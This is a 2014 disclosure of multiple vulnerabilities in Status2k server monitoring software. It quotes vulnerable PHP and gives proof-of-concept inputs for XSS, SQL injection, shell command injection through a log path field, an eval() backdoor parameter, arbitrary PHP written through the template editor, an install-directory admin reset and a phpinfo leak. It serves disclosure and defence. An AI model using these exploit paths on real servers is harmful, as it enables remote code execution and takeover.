Status2k Server Monitoring Software - Multiple Vulnerabilities

# Exploit Title: Status2k Multiple Vulnerabilities/0days

# Date: 6/20/2014

# Exploit Author: Shayan Sadigh (twitter.com/r1pplex) | <ienjoy.ripples@gmail.com

# Vendor Homepage: http://status2k.com/

# Version: All

# Tested on: Linux/Windows

# CVE : CVE-2014-5088, CVE-2014-5089, CVE-2014-5090, CVE-2014-5091, CVE-2014-5092, CVE-2014-5093, CVE-2014-5094



1. Cross site scripting/XSS... there's tons, example

admin login page, etc



login.php:



if (isset($_GET['username'])) { $useren = $_GET['username']; }

if (isset($_POST['password'])) { $useren = $_POST['username']; }

$q = mysql_query("SELECT * FROM ".$prefix."users");

$adminuser = $res['adminuser']; // Login Database

$cusername = $_COOKIE["S2KUser"];

if ( ($cusername == $adminuser) && ($cpassword == $adminpass) ) { $lgtrue = 1; }

if ( ($useren == $adminuser) && ($passen == $adminpass) ) {

setcookie("S2KUser", $useren);

if ($passen && $useren) {

if ($useren !== $adminuser) { echo '<div class="alert-message error"

                              Username ('.$useren.') Incorrect.</div'; }

        <input type="text" name="username" size="25" 



simple injection can be done in the username field, <scriptalert("poc")</script, etc



Use CVE-2014-5088 for all of the XSS issues.





2. SQLi vulnerability in the GET (log)

param... This isn't too useful seeing that if you had auth,

much more damage could be done - refer to command injection

lack of sanitization: in /admin/options/logs.php



$l = $_GET['log'];

  $q = mysql_query("SELECT * FROM ".$prefix."users");

  $query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");

  $result = mysql_fetch_array($query) or die(mysql_error());

    $query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");

    $result = mysql_fetch_array($query) or die(mysql_error());

    $query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");

    $result = mysql_fetch_array($query) or die(mysql_error());



- PoC: site.com/s2kdir/admin/options/logs.php?log=[sqli]



Use CVE-2014-5089.





3. Command injection

This requires access to the Status2k Admin

Panel, log-in and proceed to click the 'Logs' tab, then select

'Add Logs', type in any name and for the 'Location' field use

command injection... Then browse to the created log via the 'Logs'

tab again.



- example: Logs --Add Logs --; then Logs --newly created log



Name: test Location: /var/log/dmesg;pwd; uname -a

localhost/admin/options/addlog.php?type=edit&id=5



so there's no sanitization in addlog.php which lets you put anything

you want as a log location... the issue now is that in logs.php:



$logc = cmdrun($config['logcmd'].$result['location']);

    $log = explode("\n", $logc);

    $log = array_reverse($log);



cmdrun literally calls the equivalent of exec() and thus completely

execution of a command.



if it is complaining about dmesg... try other log locations... such as

/usr/local/apache/logs/suexec_log, also try other bash chars, such as



| & && ; $(), etc



Use CVE-2014-5090.





4. eval() [RCE] backdoor..

For about a year, status2k.com was hosting a backdoored version

of their software... either they knew it or not, there was never an

announcement when the backdoor was found (good job).



in the file /includes/functions.php:

eval($_GET['multies']);



site.com/s2k/includes/functions.php?multies=inject_php_code here



PoC: site.com/s2k/includes/functions.php?multies=echo 'foobar';



Use CVE-2014-5091.





5. Another RCE

status2k also lacks sanitization in the templates; /admin/options/editpl.php



one can literally place any malicious php code they want here and have it execute



// Let's make sure the file exists and is writable first.

if (is_writable("../../templates/".$config['templaten']."/".$filename)) {



    // In our example we're opening $filename in append mode.

    // The file pointer is at the bottom of the file hence

    // that's where $somecontent will go when we fwrite() it.

    if (!$handle = fopen("../../templates/".$config['templaten']."/".$filename, 'w')) {

         echo "Cannot open file (../../templates/".$config['templaten']."/".$filename.")";

         exit;

    }



    // Write $somecontent to our opened file.

    if (fwrite($handle, $value) === FALSE) {

        echo "Cannot write to file (../../templates/".$config['templaten']."/".$filename.")";

        exit;

    } else {

echo "Success, $filename updated!";



once again complete lack of sanitization.



Use CVE-2014-5092.





6. Design flaw by default Status2k does not remove the install

directory (/install/), this may lead to an attacker resetting the

admin credentials and thus logging in and causing further damage

through RCE vectors listed above.



Use CVE-2014-5093.





7. Information leak... it is not shown by default on the index.php

of status2k above version 2, however // PHPINFO ========== //

================== $action = $_GET["action"]; if ($action ==

"phpinfo") { phpinfo(); die(); } allows anyone to view the server's

phpinfo page (localhost/status/index.php?action=phpinfo)



Use CVE-2014-5094.